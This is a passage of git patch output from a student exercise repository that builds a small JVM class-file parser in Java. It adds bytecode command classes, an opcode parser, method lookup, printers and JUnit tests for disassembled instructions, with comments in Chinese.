new file mode 100644
index 0000000000..00e7b09a67
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,28 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.cmd;
+
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/PutFieldCmd.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..bb2f8f2efd
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,20 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.cmd;
+
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/TwoOperandCmd.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..2f7fd67303
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,64 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.cmd;
+
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.*;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
index f7e09075f5..249591d598 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
@@ -4,8 +4,8 @@
 import com.github.miniyk2012.coding2017.coderising.jvm.attr.AttributeInfo;
 import com.github.miniyk2012.coding2017.coderising.jvm.attr.CodeAttr;
 import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.cmd.ByteCodeCommand;
 import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
-import com.github.miniyk2012.coding2017.coderising.jvm.constant.UTF8Info;
 import com.github.miniyk2012.coding2017.coderising.jvm.loader.ByteCodeIterator;
 
 public class Method {
@@ -109,4 +109,8 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		return method;
 	}
 
+	public ByteCodeCommand[] getCmds() {
+		return this.getCodeAttr().getCmds();
+	}
+
 }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ClassFilePrinter.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..c52df283b0
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,42 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.print;
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ConstantPoolPrinter.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..4415a7236c
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,19 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.print;
+
+
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		
+		
+		
+	}
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
index 0675712b1f..81487f8f99 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
@@ -2,6 +2,10 @@
 
 import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
 import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassIndex;
+import com.github.miniyk2012.coding2017.coderising.jvm.cmd.BiPushCmd;
+import com.github.miniyk2012.coding2017.coderising.jvm.cmd.ByteCodeCommand;
+import com.github.miniyk2012.coding2017.coderising.jvm.cmd.OneOperandCmd;
+import com.github.miniyk2012.coding2017.coderising.jvm.cmd.TwoOperandCmd;
 import com.github.miniyk2012.coding2017.coderising.jvm.constant.*;
 import com.github.miniyk2012.coding2017.coderising.jvm.field.Field;
 import com.github.miniyk2012.coding2017.coderising.jvm.loader.ClassFileLoader;
@@ -248,4 +252,84 @@ private void assertMethodEquals(ConstantPool pool, Method m , String expectedNam
         Assert.assertEquals(expectedCode, code);
     }
 
+
+    /**
+     * 下面是第四次作业Cmd的测试用例
+     */
+
+    @Test
+    public void testByteCodeCommand(){
+        {
+            Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+            ByteCodeCommand[] cmds = initMethod.getCmds();
+
+            assertOpCodeEquals("0: aload_0", cmds[0]);
+            assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+            assertOpCodeEquals("4: aload_0", cmds[2]);
+            assertOpCodeEquals("5: aload_1", cmds[3]);
+            assertOpCodeEquals("6: putfield #15", cmds[4]);
+            assertOpCodeEquals("9: aload_0", cmds[5]);
+            assertOpCodeEquals("10: iload_2", cmds[6]);
+            assertOpCodeEquals("11: putfield #17", cmds[7]);
+            assertOpCodeEquals("14: return", cmds[8]);
+        }
+
+        {
+            Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+            ByteCodeCommand [] cmds = setNameMethod.getCmds();
+
+            assertOpCodeEquals("0: aload_0", cmds[0]);
+            assertOpCodeEquals("1: aload_1", cmds[1]);
+            assertOpCodeEquals("2: putfield #15", cmds[2]);
+            assertOpCodeEquals("5: return", cmds[3]);
+
+        }
+
+        {
+            Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+            ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+
+            assertOpCodeEquals("0: getstatic #28", cmds[0]);
+            assertOpCodeEquals("3: ldc #34", cmds[1]);
+            assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+            assertOpCodeEquals("8: return", cmds[3]);
+
+        }
+
+        {
+            Method mainMethod = this.clzFile.getMainMethod();
+
+            ByteCodeCommand [] cmds = mainMethod.getCmds();
+
+            assertOpCodeEquals("0: new #1", cmds[0]);
+            assertOpCodeEquals("3: dup", cmds[1]);
+            assertOpCodeEquals("4: ldc #43", cmds[2]);
+            assertOpCodeEquals("6: bipush 29", cmds[3]);
+            assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+            assertOpCodeEquals("11: astore_1", cmds[5]);
+            assertOpCodeEquals("12: aload_1", cmds[6]);
+            assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+            assertOpCodeEquals("16: return", cmds[8]);
+        }
+
+    }
+
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+
+        String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+
+        if(cmd instanceof OneOperandCmd){
+            if(cmd instanceof BiPushCmd){
+                acctual += " " + ((OneOperandCmd)cmd).getOperand();
+            } else{
+                acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+            }
+        }
+        if(cmd instanceof TwoOperandCmd){
+            acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+        }
+        Assert.assertEquals(expected, acctual);
+    }
+
+
 }

From bfed3effd277355ca225608d782eb2ecfc341445 Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Mon, 1 May 2017 21:29:09 +0800
Subject: [PATCH 153/262] =?UTF-8?q?Jvm=E7=AC=AC=E5=9B=9B=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A=EF=BC=9Acmds=E5=91=BD=E4=BB=A4=E8=A7=A3=E6=9E=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding2017/basic/LinkedList.java          |  2 +-
 .../coderising/array/ArrayUtil.java           |  2 +-
 .../coderising/jvm/attr/CodeAttr.java         |  9 ++-
 .../coderising/jvm/clz/ClassFile.java         | 10 ++-
 .../coderising/jvm/cmd/ByteCodeCommand.java   |  8 +--
 .../coderising/jvm/cmd/CommandParser.java     | 66 ++++++++++++++++++-
 .../jvm/loader/ByteCodeIterator.java          |  6 +-
 .../jvm/loader/ClassFileParser.java           |  2 +-
 .../coderising/jvm/method/Method.java         | 43 ++++--------
 .../jvm/print/ConstantPoolPrinter.java        |  2 +-
 .../jvm/test/ClassFileloaderTest.java         | 13 +++-
 11 files changed, 112 insertions(+), 51 deletions(-)

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/LinkedList.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/LinkedList.java
index 0ba1d9861c..2fdc34fc25 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/LinkedList.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/LinkedList.java
@@ -318,7 +318,7 @@ public LinkedList intersection(LinkedList list){
 
         LinkedList cList = new LinkedList();
 
-	    // TODO：为了方便起见，先各自复制并去重，虽然效率不高，以后有时间再优化
+	    // 为了方便起见，先各自复制并去重，虽然效率不高，以后有时间再优化
         LinkedList aList = LinkedList.copy(this);
         LinkedList bList = LinkedList.copy(list);
 
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/array/ArrayUtil.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/array/ArrayUtil.java
index 41bc6ad344..bedf53dbc9 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/array/ArrayUtil.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/array/ArrayUtil.java
@@ -119,7 +119,7 @@ public int[] fibonacci(int max){
 	 * @return
 	 */
 	public int[] getPrimes(int max){
-		// TODO 使用筛法,写的不好，有待改善
+		// TODO 使用筛法,写的不好，有待改善,见《敏捷开发》一书，我有空就重构
 		if (max <= 2) return new int[0];
 		List<Integer> list = new ArrayList<>();
 		int i;
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java
index abc89a94d0..640250343f 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java
@@ -3,6 +3,7 @@
 
 import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
 import com.github.miniyk2012.coding2017.coderising.jvm.cmd.ByteCodeCommand;
+import com.github.miniyk2012.coding2017.coderising.jvm.cmd.CommandParser;
 import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
 import com.github.miniyk2012.coding2017.coderising.jvm.loader.ByteCodeIterator;
 
@@ -54,7 +55,8 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		int codeLength = iter.nextU4toInt();
 
 		String code = iter.nextUxToHexString(codeLength);
-        CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code, null);
+		ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+        CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code, cmds);
 
         int exceptionTableLen = iter.nextU2toInt();
         if(exceptionTableLen>0){
@@ -98,8 +100,5 @@ private void setStackMapTable(StackMapTable t) {
 		this.stackMapTable = t;
 	}
 
-	
-	
-	
-	
+
 }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java
index 745f98636e..54aaf6d95e 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java
@@ -84,11 +84,17 @@ public String getSuperClassName(){
 	}
 
 	public Method getMethod(String methodName, String paramAndReturnType){
+		for (Method method: methods) {
+            String mName = method.getMethodName();
+            String desc = method.getDescriptor();
+            if (mName.equals(methodName) && desc.equals(paramAndReturnType)) {
+                return method;
+            }
+        }
 		return null;
 	}
 
 	public Method getMainMethod(){
-
-		return null;
+		return getMethod("main", "([Ljava/lang/String;)V");
 	}
 }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/ByteCodeCommand.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/ByteCodeCommand.java
index bb6cbb8244..cc83c38702 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/ByteCodeCommand.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/ByteCodeCommand.java
@@ -10,11 +10,11 @@
 
 public abstract class ByteCodeCommand {	
 	
-	String opCode;
+	String opCode;  // 该指令的助记符
 	ClassFile clzFile;
-	private int offset;
+	private int offset;  // 该命令在某方法指令中的偏移量
 	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
+	private static Map<String,String> codeMap = new HashMap<String,String>();   // 二级制码与助记符的对应关系
 	
 	static{
 		codeMap.put("01", "aconst_null");
@@ -102,7 +102,7 @@ public String getOpCode() {
 		return opCode;
 	}
 
-	public abstract int getLength();
+	public abstract int getLength();  // 以后goto语句要用到
 	
 	
 	
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/CommandParser.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/CommandParser.java
index aebfd87058..a21a9f66a3 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/CommandParser.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/CommandParser.java
@@ -2,6 +2,7 @@
 
 import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
 
+import java.util.LinkedList;
 import java.util.List;
 
 
@@ -44,8 +45,69 @@ public class CommandParser {
 
 	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
 
-		
-		return null;
+		CommandIterator cIter = new CommandIterator(codes);
+		List<ByteCodeCommand> cmds = new LinkedList<>();
+		// 将字符串解析为ByteCodeCommand[]
+        while (cIter.hasNext()) {  // todo 重构，1.不应该用这么多的if语句 2.大量重复代码
+            String opCode = cIter.next2CharAsString().toUpperCase();
+            if (opCode.equalsIgnoreCase(getfield)) {
+                GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
+                cmd.setOprand1(cIter.next2CharAsInt());
+                cmd.setOprand2(cIter.next2CharAsInt());
+                cmds.add(cmd);
+            } else if (opCode.equalsIgnoreCase(getstatic)) {
+                GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
+                cmd.setOprand1(cIter.next2CharAsInt());
+                cmd.setOprand2(cIter.next2CharAsInt());
+                cmds.add(cmd);
+            } else if (opCode.equalsIgnoreCase(invokespecial)) {
+                InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
+                cmd.setOprand1(cIter.next2CharAsInt());
+                cmd.setOprand2(cIter.next2CharAsInt());
+                cmds.add(cmd);
+            } else if (opCode.equalsIgnoreCase(invokevirtual)) {
+                InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
+                cmd.setOprand1(cIter.next2CharAsInt());
+                cmd.setOprand2(cIter.next2CharAsInt());
+                cmds.add(cmd);
+            } else if (opCode.equalsIgnoreCase(ldc)) {
+                LdcCmd cmd = new LdcCmd(clzFile, opCode);
+                cmd.setOperand(cIter.next2CharAsInt());
+                cmds.add(cmd);
+            } else if (opCode.equalsIgnoreCase(new_object)) {
+                NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
+                cmd.setOprand1(cIter.next2CharAsInt());
+                cmd.setOprand2(cIter.next2CharAsInt());
+                cmds.add(cmd);
+            } else if (opCode.equalsIgnoreCase(putfield)) {
+                PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
+                cmd.setOprand1(cIter.next2CharAsInt());
+                cmd.setOprand2(cIter.next2CharAsInt());
+                cmds.add(cmd);
+            } else if (opCode.equalsIgnoreCase(bipush)) {
+                BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
+                cmd.setOperand(cIter.next2CharAsInt());
+                cmds.add(cmd);
+            } else if (opCode.equalsIgnoreCase(aload_0)
+                    || opCode.equalsIgnoreCase(aload_1)
+                    || opCode.equalsIgnoreCase(aload_2)
+                    || opCode.equalsIgnoreCase(astore_1)
+                    || opCode.equalsIgnoreCase(iload_1)
+                    || opCode.equalsIgnoreCase(iload_2)
+                    || opCode.equalsIgnoreCase(voidreturn)
+                    || opCode.equalsIgnoreCase(dup)
+                    ) {
+                NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
+                cmds.add(cmd);
+            } else {
+                throw new RuntimeException("not implement cmd: " + opCode);
+            }
+
+        }
+        calcuateOffset(cmds);
+        ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
+		cmds.toArray(result);
+		return result;
 	}
 
 	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java
index ef2a984ffa..39500bb87c 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java
@@ -25,7 +25,7 @@ public int nextU2toInt() {
     }
 
     public int nextU4toInt() {
-        return assignments.jvm.util.Util.byteToInt(new byte[] { codes[point++], codes[point++], codes[point++], codes[point++] });
+        return Util.byteToInt(new byte[] { codes[point++], codes[point++], codes[point++], codes[point++] });
     }
 
     /**
@@ -72,7 +72,7 @@ public void seek(int n) {
     }
 
     public String nextU4ToHexString() {
-        return assignments.jvm.util.Util.byteToHexString((new byte[] { codes[point++], codes[point++], codes[point++], codes[point++] }));
+        return Util.byteToHexString((new byte[] { codes[point++], codes[point++], codes[point++], codes[point++] }));
     }
 
     public String nextUxToHexString(int len) {
@@ -81,7 +81,7 @@ public String nextUxToHexString(int len) {
         for (int i = 0; i < len; i++) {
             tmp[i] = codes[point++];
         }
-        return assignments.jvm.util.Util.byteToHexString(tmp).toLowerCase();
+        return Util.byteToHexString(tmp).toLowerCase();
 
     }
 
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java
index f3457e1ae5..1e7ad606d9 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java
@@ -70,7 +70,7 @@ protected ConstantPool parseConstantPool(ByteCodeIterator iter) {
     private void parseInterfaces(ByteCodeIterator iter) {
         int interfaceCount = iter.nextU2toInt();
 
-        System.out.println("interfaceCount:" + interfaceCount);
+        // System.out.println("interfaceCount:" + interfaceCount);
         for (int i=0; i<interfaceCount; i++) {
             // TODO : 如果实现了interface, 这里需要解析
             iter.skip(2);
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
index 249591d598..d42fd88b01 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
@@ -45,48 +45,30 @@ public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorInd
 		this.descriptorIndex = descriptorIndex;
 	}
 
+    public String getMethodName() {
+	    ConstantPool pool = clzFile.getConstantPool();
+	    return pool.getUTF8String(nameIndex);
+    }
 
-	
+    public String getDescriptor() {
+	    ConstantPool pool = clzFile.getConstantPool();
+	    return pool.getUTF8String(descriptorIndex);
+    }
+
+    @Override
 	public String toString() {
 		
 		ConstantPool pool = this.clzFile.getConstantPool();
 		StringBuilder buffer = new StringBuilder();
 		
-		// String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-		String name = pool.getUTF8String(nameIndex);
-		// String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-		String desc = pool.getUTF8String(descriptorIndex);
+		String name = getMethodName();
+		String desc = getDescriptor();
 		buffer.append(name).append(":").append(desc).append("\n");
-		
 		buffer.append(this.codeAttr.toString(pool));
 		
 		return buffer.toString();
 	}
-	
-	public static Method parse_V2(ClassFile clzFile, ByteCodeIterator iter){
-		int accessFlag = iter.nextU2toInt();
-		int nameIndex = iter.nextU2toInt();
-		int descIndex = iter.nextU2toInt();
-		int attribCount = iter.nextU2toInt();
-		
-		
-		Method m = new Method(clzFile, accessFlag, nameIndex, descIndex);
-		
-		for( int j=1; j<= attribCount; j++) {
-            int attrNameIndex = iter.nextU2toInt();
-			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
-			iter.skip(-2);
 
-			if (AttributeInfo.CODE.equalsIgnoreCase(attrName)) {
-				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
-				m.setCodeAttr(codeAttr);
-			} else {
-				throw new RuntimeException("only CODE attribute is implemented , please implement the " + attrName);
-			}
-
-		}
-		return m ;
-	}
 	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		int accessFlag = iter.nextU2toInt();
 		int nameIndex = iter.nextU2toInt();
@@ -102,6 +84,7 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
 				method.setCodeAttr(codeAttr);
 			} else {
+				// todo: 这里以后可以增加其他实现
 				throw new RuntimeException("only CODE attribute is implemented , please implement the " + attributeName);
 			}
 
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ConstantPoolPrinter.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ConstantPoolPrinter.java
index 4415a7236c..fd07affd2e 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ConstantPoolPrinter.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ConstantPoolPrinter.java
@@ -9,7 +9,7 @@ public class ConstantPoolPrinter {
 		this.pool = pool;
 	}
 	public void print(){
-		
+		// todo: 实现javap
 		System.out.println("Constant Pool:");
 		
 		
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
index 81487f8f99..52ee7f4426 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
@@ -33,7 +33,7 @@ public class ClassFileloaderTest {
         String className = "com.github.miniyk2012.coding2017.jvm.test.EmployeeV1";
 
         clzFile = loader.loadClass(className);
-        clzFile.print();
+        // clzFile.print();
     }
 
 	@Before
@@ -331,5 +331,16 @@ private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
         Assert.assertEquals(expected, acctual);
     }
 
+    /**
+     * 编写代码时做的一些测试用例
+     */
+    @Test
+    public void otherThing() {
+        {   // Method的若干方法
+            Method mainMethod = this.clzFile.getMainMethod();
+            Assert.assertEquals("main", mainMethod.getMethodName());
+            Assert.assertEquals("([Ljava/lang/String;)V", mainMethod.getDescriptor());
+        }
+    }
 
 }

From 52a5939ff6435ccf0e1365785e752ed69d102854 Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Mon, 1 May 2017 22:24:22 +0800
Subject: [PATCH 154/262] little improve

---
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 19 +++++++------------
 .../coding2017/coderising/jvm/cmd/LdcCmd.java |  2 +-
 .../coderising/jvm/cmd/PutFieldCmd.java       |  2 --
 .../coderising/jvm/cmd/TwoOperandCmd.java     |  3 +--
 .../coderising/jvm/constant/FieldRefInfo.java |  3 ---
 .../jvm/print/ClassFilePrinter.java           |  4 ++--
 .../jvm/print/ConstantPoolPrinter.java        |  5 ++---
 .../jvm/test/ClassFileloaderTest.java         | 19 +++++++++++++++----
 8 files changed, 28 insertions(+), 29 deletions(-)

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/ByteCodeCommand.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/ByteCodeCommand.java
index cc83c38702..46d0966ea9 100644
